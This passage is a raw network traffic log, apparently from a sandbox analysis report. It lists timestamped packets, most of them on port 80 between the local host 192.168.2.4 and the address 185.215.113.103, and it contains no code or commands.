Oct 7, 2024 03:23:19.434092045 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434113026 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434134960 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434144020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434180021 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434184074 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434201002 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434211969 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434218884 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434222937 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434232950 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434238911 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434242964 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434252024 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434262991 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434262991 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434274912 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434284925 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434292078 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434298038 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434329033 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434329033 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434340954 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434351921 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434377909 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434381008 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434391975 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434393883 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434432030 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434446096 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434587955 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434597969 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434608936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434618950 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434624910 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434648037 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434650898 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434662104 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434664011 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434673071 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434681892 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434689045 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434698105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434715986 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434736013 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434745073 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434765100 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434775114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434778929 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434784889 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434802055 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434802055 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434809923 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434813023 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434818029 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434825897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434838057 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434844971 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434863091 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.467664957 CEST	49886	443	192.168.2.4	142.250.184.228
Oct 7, 2024 03:23:19.467674971 CEST	443	49886	142.250.184.228	192.168.2.4
Oct 7, 2024 03:23:19.473592043 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473613977 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473623991 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473654032 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473654032 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473664045 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473670006 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473675013 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473690033 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473692894 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473705053 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473711014 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473715067 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473730087 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473754883 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473766088 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473777056 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473787069 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473798037 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473807096 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473834991 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473860979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473872900 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473881960 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473891973 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473903894 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473908901 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473913908 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473918915 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473929882 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473938942 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473942995 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473948956 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473953962 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473963976 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.473973036 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.473993063 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.474013090 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480628967 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480638027 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480654955 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480686903 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480703115 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480705023 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480715036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480727911 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480737925 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480740070 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480755091 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480762959 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480782986 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480808973 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480824947 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480834961 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480844975 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480850935 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480855942 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480861902 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480890989 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480909109 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480918884 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480923891 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480932951 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480945110 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480952024 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480956078 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480968952 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480972052 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.480978012 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.480978012 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.481007099 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.481019020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.481028080 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.481029034 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.481039047 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.481051922 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.481065035 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.481080055 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.515369892 CEST	49886	443	192.168.2.4	142.250.184.228
Oct 7, 2024 03:23:19.521482944 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521492004 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521509886 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521522999 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521523952 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.521539927 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521543026 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.521550894 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521560907 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.521563053 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521574974 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521583080 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.521585941 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521589994 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.521616936 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.521749020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521786928 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521799088 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521821976 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.521831989 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.521852016 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.521886110 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522005081 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522042990 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522053003 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522085905 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522159100 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522169113 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522180080 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522192001 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522202969 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522217035 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522219896 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522227049 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522236109 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522247076 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522249937 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522267103 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522269964 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522279024 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522289038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522293091 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522300005 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522311926 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522334099 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522372007 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522382975 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522391081 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522401094 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522409916 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522422075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522432089 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522432089 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522443056 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522452116 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522454023 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522468090 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522469997 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522476912 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522489071 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522490978 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522499084 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522526026 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522569895 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522581100 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522589922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522614956 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522625923 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522645950 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522656918 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522666931 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522679090 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522691011 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522691011 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522701979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522702932 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522730112 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522752047 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522763014 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522773981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522783995 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522794962 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522804976 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522808075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522818089 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522820950 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522835970 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522845984 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522856951 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522865057 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522866964 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522877932 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522883892 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522892952 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522897959 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522917032 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522929907 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.522952080 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522962093 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522972107 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522984028 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.522994995 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523004055 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523015022 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523021936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523032904 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523034096 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523042917 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523046017 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523058891 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523066998 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523071051 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523080111 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523080111 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523092031 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523102045 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523103952 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523108006 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523113966 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523124933 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523127079 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523139954 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523159981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523164988 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523169994 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523179054 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523194075 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523200035 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523219109 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523243904 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523253918 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523263931 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523276091 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523286104 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.523284912 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523305893 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.523315907 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.526874065 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.527107000 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.527199984 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.562246084 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562294006 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562433958 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562443972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562457085 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562469006 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562477112 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562486887 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562490940 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562499046 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562510014 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562517881 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562517881 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562521935 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562531948 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562540054 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562549114 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562551022 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562557936 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562561035 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562571049 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562572956 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562589884 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562593937 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562593937 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562599897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562608957 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562612057 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562623024 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562628031 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562633991 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562634945 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562645912 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562655926 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562658072 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562678099 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562700033 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562714100 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562725067 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562735081 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562743902 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.562748909 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562768936 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.562788963 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569346905 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569365978 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569375038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569413900 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569428921 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569439888 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569439888 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569451094 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569462061 CEST	80	49879	185.215.113.103	192.168.2.4
